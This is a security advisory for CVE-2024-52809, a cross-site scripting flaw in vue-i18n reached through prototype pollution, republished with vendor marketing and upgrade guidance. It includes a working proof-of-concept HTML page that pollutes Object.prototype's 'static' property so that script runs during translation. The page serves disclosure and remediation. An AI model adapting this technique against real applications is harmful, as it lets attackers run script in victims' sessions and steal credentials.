Summary
vue-i18n has cross-site scripting vulnerability with prototype pollution
Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>vue-i18n XSS</title>
<script src="https://unpkg.com/vue@3"></script>
<script src="https://unpkg.com/vue-i18n@10"></script>
<!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
<script>
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
*
* In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
* so there is always a property that is attached during optimization like this time.
* But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
*/
Object.defineProperty(Object.prototype, 'static', {
configurable: true,
get() {
alert('prototype polluted!')
return 'prototype pollution'
}
})
</script>
</head>
<body>
<div id="app">
<p>{{ t('hello') }}</p>
</div>
<script>
const { createApp } = Vue
const { createI18n, useI18n } = VueI18n
// AST style locale message, which build by `@intlify/unplugin-vue-i18n`
const en = {
hello: {
type: 0,
body: {
items: [
{
type: 3,
value: 'hello world!'
}
]
}
}
}
const i18n = createI18n({
legacy: false,
locale: 'en',
messages: {
en
}
})
const app = createApp({
setup() {
const { t } = useI18n()
return { t }
}
})
app.use(i18n)
app.mount('#app')
</script>
</body>
</html>
Workarounds
Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.
- jit compilation: https://vue-i18n.intlify.dev/guide/advanced/optimization.html#jit-compilation
- bundler plugin option: https://github.com/intlify/bundle-tools/tree/main/packages/unplugin-vue-i18n#jitcompilation
References
Impact
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
@intlify/core-base to 9.14.2 or later; vue-i18n to 9.14.2 or later; @intlify/core to 9.14.2 or later; @intlify/vue-i18n-core to 9.14.2 or later; petite-vue-i18n to 10.0.5 or later; @intlify/core-base to 10.0.5 or later; vue-i18n to 10.0.5 or later; @intlify/core to 10.0.5 or later; @intlify/vue-i18n-core to 10.0.5 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-52809? CVE-2024-52809 is a medium-severity cross-site scripting (XSS) vulnerability in @intlify/core-base (npm), affecting versions >= 9.3.0, < 9.14.2. It is fixed in 9.14.2, 10.0.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which packages are affected by CVE-2024-52809?
@intlify/core-base(npm) (versions >= 9.3.0, < 9.14.2)vue-i18n(npm) (versions >= 9.3.0, < 9.14.2)@intlify/core(npm) (versions >= 9.3.0, < 9.14.2)@intlify/vue-i18n-core(npm) (versions >= 9.3.0, < 9.14.2)petite-vue-i18n(npm) (versions >= 10.0.0, < 10.0.5)
- Is there a fix for CVE-2024-52809? Yes. CVE-2024-52809 is fixed in 9.14.2, 10.0.5. Upgrade to this version or later.
- Is CVE-2024-52809 exploitable, and should I be worried? Whether CVE-2024-52809 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-52809 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-52809?
- Upgrade
@intlify/core-baseto 9.14.2 or later - Upgrade
vue-i18nto 9.14.2 or later - Upgrade
@intlify/coreto 9.14.2 or later - Upgrade
@intlify/vue-i18n-coreto 9.14.2 or later - Upgrade
petite-vue-i18nto 10.0.5 or later - Upgrade
@intlify/core-baseto 10.0.5 or later - Upgrade
vue-i18nto 10.0.5 or later - Upgrade
@intlify/coreto 10.0.5 or later - Upgrade
@intlify/vue-i18n-coreto 10.0.5 or later
- Upgrade